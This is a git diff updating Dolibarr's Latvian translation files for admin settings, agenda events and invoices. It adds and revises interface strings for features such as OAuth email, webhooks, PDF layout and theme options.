      Šī programmatūra ir SetupDescription5=Citi iestatījumu izvēlnes ieraksti pārvalda izvēles parametrus. SetupDescriptionLink= %s - %s SetupDescription3b=Pamata parametri, ko izmanto, lai pielāgotu jūsu lietojumprogrammas noklusējuma darbību (piemēram, ar valsti saistītām funkcijām). -SetupDescription4b=Šī programmatūra ir daudzu moduļu/lietojumprogrammu komplekts. Ar jūsu vajadzībām saistītajiem moduļiem jābūt iespējotiem un konfigurētiem. Izvēlnes ieraksti parādīsies, aktivizējot šos moduļus. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Drošības pasākumi, kas tiek pārbaudīti NoSecurityEventsAreAduited=Netiek pārbaudīti nekādi drošības notikumi. Tos var iespējot no izvēlnes %s Audit=Drošības notikumi @@ -1238,12 +1253,13 @@ BrowserName=Pārlūkprogrammas nosaukums BrowserOS=Pārlūkprogrammas OS ListOfSecurityEvents=Saraksts ar Dolibarr drošības pasākumiem SecurityEventsPurged=Drošības pasākumi dzēsti -TrackableSecurityEvents=Trackable security events +TrackableSecurityEvents=Izsekojami drošības notikumi LogEventDesc=Iespējot konkrētu drošības notikumu reģistrēšanu. Administratori reģistrē izvēlni %s - %s . Brīdinājums: šī funkcija datu bāzē var radīt lielu datu apjomu. AreaForAdminOnly=Iestatīšanas parametrus var iestatīt tikai administratora lietotāji . SystemInfoDesc=Sistēmas informācija ir dažādi tehniskā informācija jums tikai lasīšanas režīmā un redzama tikai administratoriem. SystemAreaForAdminOnly=Šī sadaļa ir pieejama tikai administratora lietotājiem. Dolibarr lietotāja atļaujas nevar mainīt šo ierobežojumu. CompanyFundationDesc=Rediģējiet sava uzņēmuma / organizācijas informāciju. Kad tas ir izdarīts, noklikšķiniet uz pogas "%s" lapas apakšā. +MoreNetworksAvailableWithModule=Iespējojot moduli "Sociālie tīkli", var būt pieejami vairāk sociālo tīklu. AccountantDesc=Ja jums ir ārējais grāmatvedis / grāmatvedis, varat rediģēt šeit savu informāciju. AccountantFileNumber=Grāmatveža kods DisplayDesc=Šeit var mainīt parametrus, kas ietekmē lietojumprogrammas izskatu un noformējumu. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Trigeri Šajā failā ir aktīvs kā modulis %s - Darbību kategorija: Preču piegāde
      - Darbību kategorija: Pakalpojumu sniegšana
      - Darbību kategorija: Jaukts - Preču piegāde un pakalpojumi +InvoiceOptionCategoryOfOperationsYes1=Jā, zem adreses bloka +InvoiceOptionCategoryOfOperationsYes2=Jā, apakšējā kreisajā stūrī ##### Proposals ##### PropalSetup=Commercial priekšlikumi modulis uzstādīšana ProposalsNumberingModules=Komerciālie priekšlikumu numerācijas modeļi @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Ūdenszīme uz līgumu projektiem (nav, ja tukšs ##### Members ##### MembersSetup=Dalībnieku moduļa uzstādīšana MemberMainOptions=Galvenās iespējas +MemberCodeChecker=Iespējas automātiskai dalībnieku kodu ģenerēšanai AdherentLoginRequired= Pārvaldīt Pieteikšanos katram dalībniekam AdherentMailRequired=Lai izveidotu jaunu dalībnieku, nepieciešams e-pasts MemberSendInformationByMailByDefault=Rūtiņu, lai nosūtītu pasta apstiprinājums locekļiem (validāciju vai jauns abonements) ir ieslēgts pēc noklusējuma MemberCreateAnExternalUserForSubscriptionValidated=Katram apstiprinātam jaunam dalībnieka abonementam izveidojiet ārēju lietotāja pieteikuminformāciju -VisitorCanChooseItsPaymentMode=Apmeklētājs var izvēlēties no pieejamiem maksājumu veidiem +VisitorCanChooseItsPaymentMode=Apmeklētājs var izvēlēties kādu no pieejamajiem maksāšanas veidiem MEMBER_REMINDER_EMAIL=Iespējot automātisku atgādinājumu pa e-pastu par beidzies abonementi. Piezīme. Modulim %s jābūt iespējotai un pareizi iestatītai, lai nosūtītu atgādinājumus. MembersDocModules=Dokumentu veidnes dokumentiem, kas ģenerēti no dalībnieku ieraksta ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktivizēt uzlabotos redaktoru: FCKeditorForNotePublic=WYSIWIG elementu lauka "publiskās piezīmes" izveide/izdošana FCKeditorForNotePrivate=WYSIWIG elementu lauka "privātās piezīmes" izveide/izdošana FCKeditorForCompany=WYSIWIG elementu (izņemot produktus/pakalpojumus) lauka apraksta izveide/izdevums -FCKeditorForProduct=WYSIWIG produktu/pakalpojumu lauka apraksta izveide/izdevums -FCKeditorForProductDetails=WYSIWIG produktu detaļu līniju izveide / izdevums visām vienībām (priekšlikumi, pasūtījumi, rēķini utt.). Brīdinājums: Šīs opcijas izmantošana šajā gadījumā nav ieteicama, jo, veidojot PDF failus, tas var radīt problēmas ar īpašām rakstzīmēm un lapu formatēšanu. +FCKeditorForProductDetails=WYSIWIG produktu aprakstu vai rindu izveide/izdošana objektiem (priekšlikumu rindas, pasūtījumi, rēķini utt...). +FCKeditorForProductDetails2=Brīdinājums. Šīs opcijas izmantošana šajā gadījumā nav nopietni ieteicama, jo, veidojot PDF failus, tas var radīt problēmas ar speciālajām rakstzīmēm un lappušu formatējumu. FCKeditorForMailing= WYSIWYG izveide/ izdevums masveida emailings (Tools-> e-pastu) FCKeditorForUserSignature=WYSIWYG izveide/labošana lietotāja paraksta FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Izvēlne administrators, kur rādīt jaunu izvēlni DetailMenuModule=Moduļa nosaukums, ja izvēlnes ierakstam nāk no moduļa DetailType=Izvēlnes veids (augšā vai pa kreisi) DetailTitre=Izvēlne etiķete vai etiķete kods tulkošanai -DetailUrl=URL, kur izvēlne nosūtīsim jums (Absolūtais URL saite vai ārējās saites ar http://) +DetailUrl=URL, uz kuru izvēlne jums sūta (relatīvā URL saite vai ārējā saite ar https://) DetailEnabled=Nosacījums, lai parādītu vai ne ierakstu DetailRight=Nosacījums, lai parādītu neatļautās izvēlnes pelēkas DetailLangs=Lang faila nosaukumu etiķetes kodu tulkošanai @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Izmantojiet notikumu tipus (tiek pārvaldīti izvēlnē Ie AGENDA_USE_EVENT_TYPE_DEFAULT=Veidojot notikuma veidlapu, automātiski iestatiet šo noklusējuma vērtību AGENDA_DEFAULT_FILTER_TYPE=Šādu pasākumu automātiski iestatīt darba kārtības skatā meklēšanas filtūrā AGENDA_DEFAULT_FILTER_STATUS=Automātiski iestatīt šo statusu notikumu skatīšanai darba filtru meklēšanas filtūrā +AGENDA_EVENT_PAST_COLOR=Pagājušā pasākuma krāsa +AGENDA_EVENT_CURRENT_COLOR=Pašreizējā pasākuma krāsa +AGENDA_EVENT_FUTURE_COLOR=Nākotnes pasākuma krāsa AGENDA_DEFAULT_VIEW=Kuru skatu vēlaties atvērt pēc noklusējuma, izvēloties izvēlni Agenda AGENDA_REMINDER_BROWSER=Iespējojiet notikuma atgādinājumu lietotāja pārlūkprogrammā (Kad ir atgādinājuma datums, pārlūkprogramma parāda uznirstošo logu. Katrs lietotājs var atspējot šādus paziņojumus pārlūka paziņojumu iestatījumos). AGENDA_REMINDER_BROWSER_SOUND=Iespējot skaņas paziņojumu @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Krājumu samazinājums POS nav sader CashDeskYouDidNotDisableStockDecease=Veicot pārdošanu no pārdošanas vietām, jūs neesat atspējojis krājumu samazināšanos. Tādēļ ir vajadzīga noliktava. CashDeskForceDecreaseStockLabel=Bija spiests samazināt partiju produktu krājumus. CashDeskForceDecreaseStockDesc=Vispirms samaziniet tos pēc vecākajiem ēdināšanas un pārdošanas datumiem. -CashDeskReaderKeyCodeForEnter=Svītrkodu lasītājā definētā atslēgas kods “Enter” (piemērs: 13) +CashDeskReaderKeyCodeForEnter=Atslēga ASCII kods "Enter", kas definēts svītrkoda lasītājā (piemērs: 13) ##### Bookmark ##### BookmarkSetup=Grāmatzīmju moduļa iestatīšana BookmarkDesc=Šis modulis ļauj pārvaldīt grāmatzīmes. Jūs varat pievienot īsceļus jebkurai Dolibarr lapai vai ārējām tīmekļa vietnēm kreisajā izvēlnē. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Pārdevēja rēķinu numerācijas modeļi IfSetToYesDontForgetPermission=Ja ir iestatīta vērtība, kas nav nulles vērtība, neaizmirstiet atļaut grupām vai lietotājiem, kuriem atļauts veikt otro apstiprinājumu ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP MaxMind moduļa iestatīšana -PathToGeoIPMaxmindCountryDataFile=Ceļš uz failu, kas satur Maxmind ip tulkojumu uz valsti.
      Piemēri:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Ceļš uz failu, kurā ir Maxmind ip, uz valsts tulkojumu NoteOnPathLocation=Ņemiet vērā, ka jūsu ip uz valsts datu failā jābūt iekšā direktoriju jūsu PHP var lasīt (uz Jūsu PHP open_basedir iestatīšanu un filesystem atļaujas). YouCanDownloadFreeDatFileTo=Jūs varat lejupielādēt bezmaksas demo versiju MaxMind GeoIP valsts failu no %s. YouCanDownloadAdvancedDatFileTo=Jūs varat arī lejupielādēt pilnīgāku versiju, ar jaunumiem, no MaxMind GeoIP valsts failu no %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Veidnis, lai izveidotu datu bāzes dublējuma failu BackupZipWizard=Vednis, lai izveidotu dokumentu arhīva direktoriju SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=Šī iemesla dēļ šeit aprakstītais process ir manuāls process, kurā var veikt tikai priviliģēts lietotājs. +InstallModuleFromWebHasBeenDisabledContactUs=Ārējo moduļu vai dinamisko vietņu instalēšana vai izstrāde no lietojumprogrammas pašlaik ir bloķēta drošības nolūkos. Lūdzu, sazinieties ar mums, ja nepieciešams iespējot šo funkciju. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Lai instalētu vai izveidotu ārēju moduli no lietojumprogrammas, moduļa faili jāiegādājas direktorijā %s . Lai šo direktoriju apstrādātu Dolibarr, jums ir jāiestata conf / conf.php , lai pievienotu 2 direktīvu līnijas:
      $ dolibarr_main_url_root_alt = "/ custom"; < br> $ dolibarr_main_document_root_alt = '%s / custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -2035,7 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Labā puse PDF failā MAIN_PDF_MARGIN_TOP=Galvene PDF failā MAIN_PDF_MARGIN_BOTTOM=Kājene PDF failā MAIN_DOCUMENTS_LOGO_HEIGHT=Logotipa augstums PDF formātā -DOC_SHOW_FIRST_SALES_REP=Show first sales representative +DOC_SHOW_FIRST_SALES_REP=Parādiet pirmo tirdzniecības pārstāvi MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Pievienojiet attēla kolonnu priekšlikuma rindām MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Kolonnas platums, ja līnijām ir pievienots attēls MAIN_PDF_NO_SENDER_FRAME=Slēpt adresāta rāmja robežas @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Noņemt īpašās rakstzīmes COMPANY_AQUARIUM_CLEAN_REGEX=Regex filtrs tīrajai vērtībai (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filtrs, lai notīrītu vērtību (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Dublikāts nav atļauts +RemoveSpecialWords=Izveidojot klientu vai piegādātāju apakškontus, notīriet noteiktus vārdus +RemoveSpecialWordsHelp=Pirms klienta vai piegādātāja konta aprēķināšanas norādiet vārdus, kas jātīra. Lieto ";" starp katru vārdu GDPRContact=Datu aizsardzības inspektors (DPO, datu konfidencialitāte vai GDPR kontakts) GDPRContactDesc=Ja glabājat personas datus savā Informācijas sistēmā, šeit varat nosaukt kontaktpersonu, kas ir atbildīga par Vispārīgo datu aizsardzības regulu HelpOnTooltip=Palīdzības teksts tiek parādīts rīka padomā @@ -2069,17 +2099,18 @@ EmailCollectors=E-pasta kolekcionāri EmailCollectorDescription=Pievienojiet ieplānoto darbu un iestatīšanas lapu, lai regulāri skenētu e-pasta kastes (izmantojot IMAP protokolu) un ierakstītu savā pieteikumā saņemtos e-pasta ziņojumus pareizajā vietā un / vai automātiski izveidotu ierakstus (piemēram, vadus). NewEmailCollector=Jauns e-pasta savācējs EMailHost=E-pasta IMAP serveris -EMailHostPort=Port of email IMAP server -loginPassword=Login/Password -oauthToken=Oauth2 token -accessType=Acces type -oauthService=Oauth service -TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). +EMailHostPort=E-pasta IMAP servera ports +loginPassword=Pieslēgšanās parole +oauthToken=Oauth2 pilnvara +accessType=Piekļuves veids +oauthService=Oauth pakalpojums +TokenMustHaveBeenCreated=Ir jābūt iespējotam modulim OAuth2 un jābūt izveidotam oauth2 pilnvarai ar pareizām atļaujām (piemēram, tvērums "gmail_full" ar OAuth pakalpojumam Gmail). MailboxSourceDirectory=Pastkastes avota katalogs MailboxTargetDirectory=Pastkastes mērķa direktorija EmailcollectorOperations=Darbi, ko veic savācējs EmailcollectorOperationsDesc=Darbības tiek veiktas no augšas uz leju secībā MaxEmailCollectPerCollect=Maksimālais savākto e-pasta ziņojumu skaits +TestCollectNow=Testa savākšana CollectNow=Savākt tagad ConfirmCloneEmailCollector=Vai tiešām vēlaties klonēt e-pasta vācēju %s? DateLastCollectResult=Pēdējā savākšanas mēģinājuma datums @@ -2109,6 +2140,7 @@ CodeLastResult=Jaunākais rezultātu kods NbOfEmailsInInbox=E-pasta ziņojumu skaits avota direktorijā LoadThirdPartyFromName=Ielādējiet trešo personu meklēšanu pakalpojumā %s (tikai ielāde) LoadThirdPartyFromNameOrCreate=Ielādējiet trešo personu meklēšanu pakalpojumā %s (izveidojiet, ja nav atrasts) +LoadContactFromEmailOrCreate=Ielādēt kontaktpersonu meklēšanu vietnē %s (izveidot, ja nav atrasts) AttachJoinedDocumentsToObject=Saglabājiet pievienotos failus objektu dokumentos, ja e-pasta tēmā tiek atrasta objekta atsauce. WithDolTrackingID=Ziņojums no sarunas, kuru aizsāka pirmais e-pasts, kas nosūtīts no Dolibarr WithoutDolTrackingID=Ziņojums no sarunas, kuru aizsāka pirmais e-pasts, kuru NAV nosūtīts no Dolibarr @@ -2118,7 +2150,7 @@ CreateCandidature=Izveidot darba pieteikumu FormatZip=Pasta indekss MainMenuCode=Izvēlnes ievades kods (mainmenu) ECMAutoTree=Rādīt automātisko ECM koku -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Definējiet noteikumus, kas jāizmanto, lai iegūtu dažus datus vai iestatītu vērtības, ko izmantot darbībai.

      Piemērs uzņēmuma nosaukuma izvilkšanai no e-pasta tēmas pagaidu mainīgajā:
      tmp_var=EXTRACT:SUBJECT:Ziņojums no uzņēmuma ([^\n]*)

      Piemēri izveidojamā objekta rekvizītu iestatīšanai:
      objproperty1=SET:a cietā kodēta vērtība a0334 uzņēmuma nosaukums ir\\s([^\\s]*)

      Izmantojiet ; char kā atdalītājs, lai iegūtu vai iestatītu vairākas īpašības. OpeningHours=Darba laiks OpeningHoursDesc=Ievadiet šeit sava uzņēmuma pastāvīgo darba laiku. ResourceSetup=Resursu moduļa konfigurēšana @@ -2183,6 +2215,7 @@ ShowProjectLabel=Projekta etiķete PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Iekļaujiet aizstājvārdu trešās puses nosaukumā THIRDPARTY_ALIAS=Trešās puses nosaukums — trešās puses aizstājvārds ALIAS_THIRDPARTY=Trešās puses aizstājvārds — trešās puses nosaukums +PDFIn2Languages=Rādīt etiķetes PDF formātā 2 dažādās valodās PDF_USE_ALSO_LANGUAGE_CODE=Ja vēlaties, lai daži PDF faili tiktu dublēti 2 dažādās valodās tajā pašā ģenerētajā PDF failā, jums šeit ir jāiestata šī otrā valoda, lai ģenerētais PDF saturētu vienā un tajā pašā lappusē 2 dažādas valodas, vienu izvēloties, ģenerējot PDF, un šo ( tikai dažas PDF veidnes to atbalsta). Vienā PDF formātā atstājiet tukšumu 1 valodā. PDF_USE_A=Ģenerējiet PDF dokumentus PDF/A formātā, nevis noklusējuma formātā PDF FafaIconSocialNetworksDesc=Šeit ievadiet FontAwesome ikonas kodu. Ja jūs nezināt, kas ir FontAwesome, varat izmantot vispārīgo vērtību fa-adrešu grāmata. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnerība AGENDA_EVENT_DEFAULT_STATUS=Noklusējuma notikuma statuss, veidojot notikumu no formas YouShouldDisablePHPFunctions=Jums vajadzētu atspējot PHP funkcijas IfCLINotRequiredYouShouldDisablePHPFunctions=PHP funkcijas ir jāatspējo, izņemot gadījumus, kad sistēmas komandas ir jāpalaiž pielāgotā kodā -PHPFunctionsRequiredForCLI=Apvalka vajadzībām (piemēram, ieplānota darba dublēšana vai anitivurs programmas palaišana) jums ir jāsaglabā PHP funkcijas +PHPFunctionsRequiredForCLI=Apvalka vajadzībām (piemēram, ieplānota darba dublēšana vai pretvīrusu programmas palaišana), jums ir jāsaglabā PHP funkcijas NoWritableFilesFoundIntoRootDir=Jūsu saknes direktorijā netika atrasti ierasto failu vai direktoriju kopējās programmas (labi) RecommendedValueIs=Ieteicams: %s Recommended=Ieteicams NotRecommended=Nav ieteicams -ARestrictedPath=Kāds ierobežots ceļš +ARestrictedPath=Datu failiem ir ierobežots ceļš CheckForModuleUpdate=Pārbaudiet, vai nav atjaunināti ārējie moduļi CheckForModuleUpdateHelp=Šī darbība izveidos savienojumu ar ārējo moduļu redaktoriem, lai pārbaudītu, vai ir pieejama jauna versija. ModuleUpdateAvailable=Ir pieejams atjauninājums @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=Ārējiem moduļiem nav atrasti atjauninājumi SwaggerDescriptionFile=Swagger API apraksta fails (piemēram, lietošanai ar pārorientēšanu) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Jūs iespējojāt novecojušu WS API. Tā vietā jums vajadzētu izmantot REST API. RandomlySelectedIfSeveral=Nejauši izvēlēts, ja ir pieejami vairāki attēli -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=Priekšlikumiem, Pasūtījumiem, Rēķiniem. DatabasePasswordObfuscated=Datu bāzes parole ir neskaidra konf failā DatabasePasswordNotObfuscated=Datu bāzes parole NAV apmulsināta conf failā APIsAreNotEnabled=API moduļi nav iespējoti @@ -2264,10 +2297,10 @@ LateWarningAfter="Vēls" brīdinājums pēc TemplateforBusinessCards=Veidne vizītkartei dažādos izmēros InventorySetup= Inventāra iestatīšana ExportUseLowMemoryMode=Izmantojiet mazas atmiņas režīmu -ExportUseLowMemoryModeHelp=Izmantojiet mazas atmiņas režīmu, lai izpildītu izgāztuves izpildi (saspiešana tiek veikta caur cauruli, nevis PHP atmiņā). Šī metode neļauj pārbaudīt, vai fails ir pabeigts, un kļūdas ziņojumu nevar ziņot, ja tas neizdodas. +ExportUseLowMemoryModeHelp=Izmantojiet mazas atmiņas režīmu, lai ģenerētu izdrukas failu (saspiešana tiek veikta caur cauruli, nevis PHP atmiņā). Šī metode neļauj pārbaudīt, vai fails ir pilnīgs, un kļūdas ziņojumu nevar ziņot, ja tas neizdodas. Izmantojiet to, ja jums nav pietiekami daudz atmiņas kļūdu. ModuleWebhookName = Web aizķere -ModuleWebhookDesc = Interfeiss, lai uztvertu dolibarr aktivizētājus un nosūtītu to uz URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Tīmekļa aizķeres iestatīšana Settings = Iestatījumi WebhookSetupPage = Web aizķeres iestatīšanas lapa @@ -2288,22 +2321,58 @@ IconOnly=Tikai ikona — teksts tikai rīka padomos INVOICE_ADD_ZATCA_QR_CODE=Rādīt ZATCA QR kodu rēķinos INVOICE_ADD_ZATCA_QR_CODEMore=Dažām arābu valstīm šis QR kods ir nepieciešams savos rēķinos INVOICE_ADD_SWISS_QR_CODE=Rādīt Šveices QR-rēķina kodu uz rēķiniem +INVOICE_SHOW_SHIPPING_ADDRESS=Rādīt piegādes adresi +INVOICE_SHOW_SHIPPING_ADDRESSMore=Obligāta pieminēšana Francijai UrlSocialNetworksDesc=Sociālā tīkla URL saite. Mainīgajai daļai, kas satur sociālā tīkla ID, izmantojiet {socialid}. IfThisCategoryIsChildOfAnother=Ja šī kategorija ir citas kategorijas bērns -DarkThemeMode=Dark theme mode -AlwaysDisabled=Always disabled -AccordingToBrowser=According to browser -AlwaysEnabled=Always Enabled -DoesNotWorkWithAllThemes=Will not work with all themes +DarkThemeMode=Tumšā motīva režīms +AlwaysDisabled=Vienmēr atspējots +AccordingToBrowser=Saskaņā ar pārlūkprogrammu +AlwaysEnabled=Vienmēr iespējots +DoesNotWorkWithAllThemes=Nedarbosies ar visām tēmām NoName=Nav vārda -ShowAdvancedOptions= Show advanced options -HideAdvancedoptions= Hide advanced options +ShowAdvancedOptions= Rādīt papildu opcijas +HideAdvancedoptions= Slēpt papildu opcijas CIDLookupURL=Modulis nodrošina URL, ko var izmantot ārējs rīks, lai iegūtu trešās puses vai kontaktpersonas vārdu no tā tālruņa numura. Izmantojamais URL ir: -OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service -DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method -UsePassword=Use a password -UseOauth=Use a OAUTH token -Images=Images -MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 autentifikācija nav pieejama visiem resursdatoriem, un iepriekš ar OAUTH moduli ir jābūt izveidotam pilnvarai ar pareizajām atļaujām. +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 autentifikācijas pakalpojums +DontForgetCreateTokenOauthMod=Iepriekš ar OAUTH moduli ir jābūt izveidotam pilnvarai ar pareizajām atļaujām +MAIN_MAIL_SMTPS_AUTH_TYPE=Autentifikācijas metode +UsePassword=Izmantojiet paroli +UseOauth=Izmantojiet OAUTH pilnvaru +Images=Attēli +MaxNumberOfImagesInGetPost=Maksimālais attēlu skaits, kas atļauts veidlapā iesniegtajā HTML laukā +MaxNumberOfPostOnPublicPagesByIP=Maksimālais ziņu skaits publiskās lapās ar vienu un to pašu IP adresi mēnesī +CIDLookupURL=Modulis nodrošina URL, ko var izmantot ārējs rīks, lai iegūtu trešās puses vai kontaktpersonas vārdu no tā tālruņa numura. Izmantojamais URL ir: +ScriptIsEmpty=Skripts ir tukšs +ShowHideTheNRequests=Rādīt/slēpt %s SQL pieprasījumu(s) +DefinedAPathForAntivirusCommandIntoSetup=Definējiet pretvīrusu programmas ceļu uz %s +TriggerCodes=Iedarbināmi notikumi +TriggerCodeInfo=Ievadiet šeit aktivizētāja kodu(-us), kam ir jāģenerē tīmekļa pieprasījuma ziņa (ir atļauti tikai ārējie URL). Varat ievadīt vairākus sprūda kodus, atdalot tos ar komatu. +EditableWhenDraftOnly=Ja nav atzīmēta, vērtību var mainīt tikai tad, ja objektam ir melnraksta statuss +CssOnEdit=Css rediģēšanas lapās +CssOnView=Css skata lapās +CssOnList=Css saraksta lapās +HelpCssOnEditDesc=Css, ko izmanto, rediģējot lauku.
      Piemērs: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=Css, ko izmanto, apskatot lauku. +HelpCssOnListDesc=Css, ko izmanto, ja lauks atrodas saraksta tabulā.
      Piemērs: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Slēpt pasūtīto daudzumu uz ģenerētajiem pieņemšanas dokumentiem +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Parādiet cenu uz ģenerētajiem pieņemšanas dokumentiem +WarningDisabled=Brīdinājums ir atspējots +LimitsAndMitigation=Piekļuves ierobežojumi un mazināšana +DesktopsOnly=Tikai galddatoriem +DesktopsAndSmartphones=Galddatori un viedtālruņi +AllowOnlineSign=Atļaut tiešsaistes parakstīšanu +AllowExternalDownload=Atļaut ārēju lejupielādi (bez pieteikšanās, izmantojot koplietotu saiti) +DeadlineDayVATSubmission=PVN iesniegšanas termiņš nākamajā mēnesī +MaxNumberOfAttachementOnForms=Maksimālais savienoto failu skaits veidlapā +IfDefinedUseAValueBeetween=Ja definēts, izmantojiet vērtību no %s līdz %s +Reload=Pārlādēt +ConfirmReload=Apstipriniet moduļa atkārtotu ielādi +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/lv_LV/agenda.lang b/htdocs/langs/lv_LV/agenda.lang index 8ef8b4abce7..3935082a9e3 100644 --- a/htdocs/langs/lv_LV/agenda.lang +++ b/htdocs/langs/lv_LV/agenda.lang @@ -57,6 +57,7 @@ MemberValidatedInDolibarr=Dalībnieks %s apstiprināts MemberModifiedInDolibarr=Dalībnieks %s labots MemberResiliatedInDolibarr=Dalībnieks %s ir izbeigts MemberDeletedInDolibarr=Dalībnieks %s dzēsts +MemberExcludedInDolibarr=Dalībnieks %s ir izslēgts MemberSubscriptionAddedInDolibarr=Abonements %s dalībniekam %s pievienots MemberSubscriptionModifiedInDolibarr=Abonements %s biedram %s ir labots MemberSubscriptionDeletedInDolibarr=Abonements %s dalībniekam %s dzēsts @@ -67,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Sūtījums %s dodas atpakaļ uz melnraksta statusu ShipmentDeletedInDolibarr=Sūtījums %s dzēsts ShipmentCanceledInDolibarr=Sūtījums %s atcelts ReceptionValidatedInDolibarr=Reģistrācija %s validēta +ReceptionDeletedInDolibarr=Reģistratūra %s izdzēsta ReceptionClassifyClosedInDolibarr=Reģistratūra %s klasificēta kā slēgta OrderCreatedInDolibarr=Pasūtījums %s izveidots OrderValidatedInDolibarr=Pasūtījums %s pārbaudīts @@ -86,6 +88,7 @@ SupplierInvoiceSentByEMail=Pārdevēja rēķins %s nosūtīts pa e-pastu ShippingSentByEMail=Sūtījums %s nosūtīts pa e-pastu ShippingValidated= Sūtījums %s apstiprināts InterventionSentByEMail=Intervence %s nosūtīta pa e-pastu +ProjectSentByEMail=Projekts %s nosūtīts pa e-pastu ProposalDeleted=Piedāvājums dzēsts OrderDeleted=Pasūtījums dzēsts InvoiceDeleted=Rēķins dzēsts @@ -159,6 +162,7 @@ DateActionBegin=Sākuma datums notikumam ConfirmCloneEvent=Vai tiešām vēlaties klonēt notikumu %s ? RepeatEvent=Atkārtot notikumu OnceOnly=Vienreiz +EveryDay=Katru dienu EveryWeek=Katru nedēļu EveryMonth=Katru mēnesi DayOfMonth=Mēneša diena @@ -174,3 +178,4 @@ AddReminder=Izveidojiet automātisku atgādinājumu par šo notikumu ErrorReminderActionCommCreation=Izveidojot atgādinājumu par šo notikumu, radās kļūda BrowserPush=Paziņojums par pārlūkprogrammas uznirstošo logu ActiveByDefault=Pēc noklusējuma iespējots +Until=līdz diff --git a/htdocs/langs/lv_LV/bills.lang b/htdocs/langs/lv_LV/bills.lang index f4a726e5a99..5784a1c2b0f 100644 --- a/htdocs/langs/lv_LV/bills.lang +++ b/htdocs/langs/lv_LV/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Klientu rēķinu statistika BillsStatisticsSuppliers=Pārdevēju rēķinu statistika DisabledBecauseDispatchedInBookkeeping=Atspējots, jo rēķins tika nosūtīts uzskaites veikšanai DisabledBecauseNotLastInvoice=Atspējots, jo rēķinu nevar izdzēst. Daži rēķini tika reģistrēti pēc šī rēķina, un tas radīs caurumus skaitītājā. +DisabledBecauseNotLastSituationInvoice=Atspējots, jo rēķinu nevar dzēst. Šis rēķins nav pēdējais situācijas rēķinu ciklā. DisabledBecauseNotErasable=Bloķēts, jo nedrīkst dzēst InvoiceStandard=Standarta rēķins InvoiceStandardAsk=Standarta rēķins InvoiceStandardDesc=Šis rēķins veids ir kopīgs rēķins. +InvoiceStandardShort=Standarta 